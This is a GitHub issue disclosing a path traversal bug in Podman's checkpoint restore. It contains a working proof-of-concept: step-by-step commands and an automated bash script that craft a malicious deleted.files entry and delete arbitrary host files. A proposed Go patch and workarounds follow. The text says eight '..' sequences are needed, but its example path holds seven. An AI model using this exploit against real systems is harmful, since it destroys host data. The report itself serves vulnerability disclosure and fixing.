Skip to content

Podman Checkpoint/Restore Path Traversal #27977

@b0b0haha

Description

@b0b0haha

Issue Description

Summary

A path traversal vulnerability exists in Podman's checkpoint/restore functionality that allows an attacker to delete arbitrary files on the host system by crafting a malicious checkpoint archive. The vulnerability is caused by insufficient path validation in the CRRemoveDeletedFiles function, which processes the deleted.files list from checkpoint archives without properly sanitizing path traversal sequences (..).

Impact

Attack Scenario

An attacker with the ability to provide a checkpoint archive (e.g., through social engineering, compromised CI/CD pipelines, or untrusted checkpoint sources) can:

  1. Delete critical system files (/etc/passwd, /etc/shadow, /boot/*)
  2. Delete application data (/var/lib/mysql, /var/www/html)
  3. Delete container runtime data (/var/lib/containers, /var/lib/docker)
  4. Delete audit logs (/var/log/audit)
  5. Cause denial of service by deleting essential system components

Technical Details

Vulnerability Location

File: pkg/checkpoint/crutils/checkpoint_restore_utils.go
Function: CRRemoveDeletedFiles
Lines: 87-92

Vulnerable Code

func CRRemoveDeletedFiles(id, baseDirectory, containerRootDirectory string) error {
    deletedFiles, _, err := metadata.ReadContainerCheckpointDeletedFiles(baseDirectory)
    if os.IsNotExist(err) {
        return nil
    }
    if err != nil {
        return fmt.Errorf("failed to read deleted files file: %w", err)
    }

    for _, deleteFile := range deletedFiles {
        // VULNERABILITY: No path validation!
        // filepath.Join cleans the path but does NOT prevent .. traversal
        if err := os.RemoveAll(filepath.Join(containerRootDirectory, deleteFile)); err != nil {
            return fmt.Errorf("failed to delete files from container %s during restore: %w", id, err)
        }
    }

    return nil
}

Root Cause

  1. No Path Validation: The function does not validate that the final path remains within the container root directory
  2. Path Traversal: While filepath.Join cleans the path, it does NOT prevent .. sequences from escaping the container root
  3. Unrestricted Deletion: os.RemoveAll is called directly on the constructed path without boundary checks

Call Chain

podman container restore
  └─> libpod/container_internal_common.go:1842
       └─> crutils.CRRemoveDeletedFiles(c.ID(), c.bundlePath(), c.state.Mountpoint)
            └─> os.RemoveAll(filepath.Join(containerRootDirectory, deleteFile))

Exploitation Mechanism

The vulnerability exploits Go's filepath.Join behavior:

containerRoot := "/var/lib/containers/storage/overlay/<hash>/merged"  // 7 levels deep
maliciousPath := "../../../../../../../tmp/target.txt"                // 8 levels of ..

result := filepath.Join(containerRoot, maliciousPath)
// Result: "/tmp/target.txt" - Successfully escaped container root!

os.RemoveAll(result)  // Deletes /tmp/target.txt on host system

Key Insight: The container mount point is typically 7 directory levels deep. Using 8 .. sequences reaches the root directory (/), allowing access to any file on the host system.

Steps to reproduce the issue

Proof of Concept

Prerequisites

  • Ubuntu 20.04+ (tested on Ubuntu 24.04 LTS)
  • Podman 4.9.3+ with checkpoint/restore support
  • CRIU 4.2+
  • Root or sudo privileges

Step-by-Step Reproduction

Step 1: Environment Setup

# Install Podman
sudo apt-get update
sudo apt-get install -y podman

# Install CRIU dependencies
sudo apt-get install -y build-essential pkg-config libprotobuf-dev \
    libprotobuf-c-dev protobuf-c-compiler protobuf-compiler \
    python3-protobuf libnl-3-dev libnet-dev libcap-dev \
    git uuid-dev libaio-dev python3-yaml

# Build and install CRIU
cd /tmp
git clone https://github.com/checkpoint-restore/criu.git
cd criu
make
sudo make install-criu

# Verify installation
podman --version  # Should output: podman version 4.9.3
criu --version    # Should output: Version: 4.2

Step 2: Create Target File (Victim)

# Create a file that will be deleted by the exploit
echo "SENSITIVE_DATA_$(date +%s)" > /tmp/victim_file.txt
cat /tmp/victim_file.txt
ls -la /tmp/victim_file.txt

Expected Output:

SENSITIVE_DATA_1769617820
-rw-rw-r-- 1 ubuntu ubuntu 29 Jan 29 00:30 /tmp/victim_file.txt

Step 3: Create Container and Export Checkpoint

# Create a test container
sudo podman run -d --name exploit-test alpine sleep 3600

# Verify container is running
sudo podman ps | grep exploit-test

# Get container mount point and calculate depth
MOUNT_POINT=$(sudo podman mount exploit-test)
echo "Mount point: $MOUNT_POINT"

DEPTH=$(echo "$MOUNT_POINT" | tr '/' '\n' | grep -v '^$' | wc -l)
echo "Directory depth: $DEPTH"
echo "Required .. count: $((DEPTH+1))"

# Export checkpoint
sudo podman container checkpoint exploit-test -e /tmp/checkpoint.tar.gz
ls -lh /tmp/checkpoint.tar.gz

Expected Output:

Mount point: /var/lib/containers/storage/overlay/08989d679ebb420eade2ddf4eaef0ce33c47569f98d1be22deedfc6c51575d1d/merged
Directory depth: 7
Required .. count: 8
-rw------- 1 root root 29K Jan 29 00:31 /tmp/checkpoint.tar.gz

Step 4: Craft Malicious Checkpoint

# Extract checkpoint
mkdir /tmp/malicious
cd /tmp/malicious
sudo tar -I zstd -xf /tmp/checkpoint.tar.gz

# View checkpoint structure
ls -la

# Create malicious deleted.files
# Use 8 .. sequences to escape the 7-level deep container root
echo '["../../../../../../../tmp/victim_file.txt"]' | sudo tee deleted.files

# Verify malicious payload
cat deleted.files

# Repackage malicious checkpoint
sudo tar -I zstd -cf /tmp/malicious-checkpoint.tar.gz *
ls -lh /tmp/malicious-checkpoint.tar.gz

Expected Output:

drwxr-xr-x  4 root root  4096 Jan 29 00:31 .
drwxrwxrwt 19 root root 36864 Jan 29 00:31 ..
drwxr-xr-x  2 root root  4096 Jan 29 00:30 artifacts
drw-------  2 root root  4096 Jan 29 00:31 checkpoint
-rw-------  1 root root 22888 Jan 29 00:31 config.dump
-rw-r--r--  1 root root  1536 Jan 29 00:31 devshm-checkpoint.tar
-rw-------  1 root root   242 Jan 29 00:31 network.status
-rw-------  1 root root 20708 Jan 29 00:31 spec.dump
-rw-r--r--  1 root root    47 Jan 29 00:31 stats-dump

["../../../../../../../tmp/victim_file.txt"]
-rw-r--r-- 1 root root 29K Jan 29 00:31 /tmp/malicious-checkpoint.tar.gz

Step 5: Execute Exploit

# Verify target file exists BEFORE attack
echo "=== BEFORE ATTACK ==="
ls -la /tmp/victim_file.txt
cat /tmp/victim_file.txt

# Execute exploit: restore from malicious checkpoint
sudo podman rm -f exploit-test
sudo podman container restore -i /tmp/malicious-checkpoint.tar.gz

# Verify target file is DELETED AFTER attack
echo "=== AFTER ATTACK ==="
ls -la /tmp/victim_file.txt 2>&1 || echo "🚨 FILE DELETED - EXPLOIT SUCCESSFUL!"

Expected Output:

=== BEFORE ATTACK ===
-rw-rw-r-- 1 ubuntu ubuntu 29 Jan 29 00:30 /tmp/victim_file.txt
SENSITIVE_DATA_1769617820

=== AFTER ATTACK ===
ls: cannot access '/tmp/victim_file.txt': No such file or directory
🚨 FILE DELETED - EXPLOIT SUCCESSFUL!

Automated Exploit Script

#!/bin/bash
# Automated PoC for Podman Path Traversal Vulnerability

set -e

echo "=== Podman Path Traversal Exploit PoC ==="

# Check root privileges
if [ "$EUID" -ne 0 ]; then
    echo "Error: This script requires root privileges"
    exit 1
fi

# Create victim file
VICTIM_FILE="/tmp/victim_$(date +%s).txt"
echo "SENSITIVE_DATA" > "$VICTIM_FILE"
echo "[+] Created victim file: $VICTIM_FILE"

# Create container
podman run -d --name poc-exploit alpine sleep 3600 > /dev/null
echo "[+] Created container: poc-exploit"

# Get mount point depth
MOUNT_POINT=$(podman mount poc-exploit)
DEPTH=$(echo "$MOUNT_POINT" | tr '/' '\n' | grep -v '^$' | wc -l)
echo "[+] Container depth: $DEPTH (need $((DEPTH+1)) .. sequences)"

# Export checkpoint
podman container checkpoint poc-exploit -e /tmp/poc-checkpoint.tar.gz > /dev/null
echo "[+] Exported checkpoint"

# Craft malicious checkpoint
mkdir -p /tmp/poc-malicious
cd /tmp/poc-malicious
tar -I zstd -xf /tmp/poc-checkpoint.tar.gz 2>/dev/null

# Build traversal path
TRAVERSAL=""
for i in $(seq 1 $((DEPTH+1))); do
    TRAVERSAL="${TRAVERSAL}../"
done
TRAVERSAL="${TRAVERSAL}tmp/$(basename $VICTIM_FILE)"

echo "[\"$TRAVERSAL\"]" > deleted.files
echo "[+] Created malicious deleted.files: $TRAVERSAL"

tar -I zstd -cf /tmp/poc-malicious-checkpoint.tar.gz * 2>/dev/null
echo "[+] Repackaged malicious checkpoint"

# Execute exploit
echo "[*] Executing exploit..."
podman rm -f poc-exploit > /dev/null 2>&1
podman container restore -i /tmp/poc-malicious-checkpoint.tar.gz > /dev/null 2>&1

# Verify
if [ ! -f "$VICTIM_FILE" ]; then
    echo "[!] EXPLOIT SUCCESSFUL - File deleted: $VICTIM_FILE"
    exit 0
else
    echo "[-] Exploit failed - File still exists"
    exit 1
fi

Describe the results you received

Just list ad above.

Describe the results you expected

Just list ad above.

podman info output

Just list ad above.

Podman in a container

No

Privileged Or Rootless

None

Upstream Latest Release

Yes

Additional environment details

Additional environment details

Additional information

Remediation

Recommended Fix

Apply the following patch to pkg/checkpoint/crutils/checkpoint_restore_utils.go:

func CRRemoveDeletedFiles(id, baseDirectory, containerRootDirectory string) error {
    deletedFiles, _, err := metadata.ReadContainerCheckpointDeletedFiles(baseDirectory)
    if os.IsNotExist(err) {
        return nil
    }
    if err != nil {
        return fmt.Errorf("failed to read deleted files file: %w", err)
    }

    // Get absolute path of container root
    absContainerRoot, err := filepath.Abs(containerRootDirectory)
    if err != nil {
        return fmt.Errorf("failed to get absolute path: %w", err)
    }

    for _, deleteFile := range deletedFiles {
        // Remove leading slash to ensure relative path joining
        cleanPath := strings.TrimPrefix(deleteFile, "/")
        targetPath := filepath.Join(absContainerRoot, cleanPath)

        // Resolve to absolute path
        absTarget, err := filepath.Abs(targetPath)
        if err != nil {
            return fmt.Errorf("failed to resolve path: %w", err)
        }

        // SECURITY CHECK: Ensure target path is within container root
        if !strings.HasPrefix(absTarget, absContainerRoot+string(os.PathSeparator)) {
            logrus.Warnf("Path traversal detected: %s escapes container root", deleteFile)
            continue  // Skip dangerous paths
        }

        if err := os.RemoveAll(absTarget); err != nil {
            return fmt.Errorf("failed to delete files: %w", err)
        }
    }
    return nil
}

Workarounds

Until a patch is available:

  1. Validate Checkpoint Sources: Only restore checkpoints from trusted sources
  2. Inspect Checkpoints: Manually inspect deleted.files before restoring:
    tar -I zstd -xf checkpoint.tar.gz deleted.files
    cat deleted.files
  3. Restrict Permissions: Limit who can execute podman container restore
  4. Use SELinux: Enable SELinux in enforcing mode to add an additional security layer

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugweekkind/bugCategorizes issue or PR as related to a bug.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions